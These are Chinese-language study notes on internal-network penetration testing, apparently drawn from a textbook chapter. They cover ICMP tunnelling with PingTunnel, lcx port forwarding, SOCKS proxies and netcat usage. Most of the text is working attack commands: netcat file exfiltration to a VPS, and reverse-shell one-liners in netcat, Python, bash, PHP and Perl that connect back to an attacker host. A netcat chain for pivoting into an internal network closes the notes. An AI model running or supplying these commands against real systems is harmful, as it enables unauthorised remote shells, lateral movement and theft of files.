学习路线
《内网渗透测试指南》第三章
常用的隧道
网络层:IPv6隧道、ICMP隧道、GRE隧道(VPN)
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
网络层隧道
ICMP隧道
推荐工具:PingTunnel(适用于linux)
Web服务器(公网的服务器):ptunnel -x shuteer
如果不使用你的跳板,(公网服务器上运行)ptunnel -p 127.0.0.1 -lp 3333 -da 10.0.0.200 -dp 3389 -x shuteer
使用攻击机连接Web服务器的3333端口即可
如果使用跳板,(你的跳板上运行)ptunnel -p Web服务器ip -lp 3333 -da 10.0.0.200 -dp 3389 -x shuteer
使用攻击机连接你的跳板的3333端口即可
Socks代理
详细见网址:
https://www.cnblogs.com/pshell/p/7649095.html
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
传输层隧道
lcx端口转发工具(lcx是一个基于socket套接字实现的端口转发工具)
内网端口转发
运行如下命令
lcx.exe -slave 公网主机ip 4444 目标主机ip 3389
然后运行如下命令:
lcx.exe -listen 4444 5555
本地端口转发
lcx.exe -tran 9999 目标主机端口(本地端口) 3389
netcat工具的使用(可以使用TCP/UDP协议)
命令参数解释
nc -h
-d 后台模式
-e 程序重定向
-g 网关
-G 指向器数目
-i 延迟秒数
-l 使用监听模式,管理和控制传入的数据
-n 直接使用ip地址(不通过域名服务器)
-o 输出文件
-p 设置本地通信端口
-r 随机设置本地与远程主机的通信端口
-s 源地址
-u 使用UDP传输协议
-v 详细输出
-w 超时秒数
-z 将输入/输出功能关闭,只在扫描通信端口时使用
Banner抓取
nc -nv 目标ip 目标端口
端口监听
nc -l -p 9999
文件传输
在vps上监听端口
nc -lp 333 > 1.txt
在靶机上传输文件
nc -vn vps的ip 333 < test.txt q 1
简易聊天
在本地vps
nc -l -p 888
在另外主机上输入
nc -vn vps的ip 888
nc获取反向shell
在kali设置监听:nc -lvp 4444
在靶机上建立连接:nc kali的ip 9999 -e /bin/sh
最好windows对应windows,linux对应linux
nc windows的ip 9999 -e c:windowssystem32cmd.exe
在目标主机没有nc时获取反向shell
(1)pythonu获取反向shell
在目标主机上执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(2)bash反向shell
bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1
(3)php反向shell
php -r '$sock=fsockopen("攻击机ip",攻击机端口);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)Perl反向shell
perl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
内网穿透
在vps输入:nc -lvp 3333
在内网linux机器上:nc -lvp 3333 -e /bin/sh(反向shell)
在Web服务器上输入:nc -v vps的ip 3333 -c "nc -v linux的ip 3333"